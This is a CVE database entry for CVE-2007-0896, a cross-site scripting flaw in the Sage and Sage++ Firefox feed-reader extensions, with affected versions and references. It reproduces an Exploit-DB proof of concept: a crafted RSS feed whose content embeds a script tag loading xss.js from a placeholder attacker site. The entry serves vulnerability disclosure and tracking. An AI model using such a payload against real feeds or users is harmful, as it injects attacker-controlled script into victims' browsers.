English
Français
Light
Dark
System

CVEFind - Alertes CVE

Restez informé en continue
Créer un compte Ouvrez un compte Simple et Gratuit Se connecter Gérez vos alertes

CVE-2007-0896 : Détail

CVE-2007-0896

Cross-site Scripting
A03-Injection
4.04%V3
Network
2007-02-13 10:00 +00:00
2017-07-28 10:57 +00:00
CVE.org
NVD

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

Cross-site scripting (XSS) vulnerability in the (1) Sage before 1.3.10, and (2) Sage++ extensions for Firefox, allows remote attackers to inject arbitrary web script or HTML via a "

Informations sur l'Exploit

Exploit Database EDB-ID : 29573

Date de publication : 2007-02-08 23:00 +00:00
Auteur : Fukumori
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/22493/info Sage Extension Feed is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. Hostile HTML and script code may be injected into vulnerable sections of the application. When viewed, this code may be rendered in the browser of a user viewing a malicious RSS feed. Sage Extension Feed 1.3.9 is vulnerable to this issue; prior versions may also be affected. <?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" <channel> <title>test</title> <link>http://www.example.com/</link> <description>test</description> <item> <title>test</title> <content:encoded><![CDATA[ <SCRIPT/=''SRC='http://atackersite/xss.js'></SCRIPT> ]]> </content:encoded> </item> </channel> </rss>

Products Mentioned

Configuraton 0

Mozilla>>Firefox >> Version *

Sage>>Sage >> Version *

    Sage>>Sage >> Version To (including) 1.3.9

      Sage>>Sage >> Version 1.0_beta_3

        Sage>>Sage >> Version 1.3.6

          References

          http://osvdb.org/33131
          Tags : vdb-entry, x_refsource_OSVDB
          http://www.securitytracker.com/id?1017624
          Tags : vdb-entry, x_refsource_SECTRACK
          http://jvn.jp/jp/JVN%2384430861/index.html
          Tags : third-party-advisory, x_refsource_JVN
          http://secunia.com/advisories/24086
          Tags : third-party-advisory, x_refsource_SECUNIA
          http://www.securityfocus.com/bid/22493
          Tags : vdb-entry, x_refsource_BID

          Plus d'informations
          Cliquez sur le bouton à gauche (OFF), pour autoriser l'inscription de cookie améliorant les fonctionnalités du site. Cliquez sur le bouton à gauche (Tout accepter), pour ne plus autoriser l'inscription de cookie améliorant les fonctionnalités du site.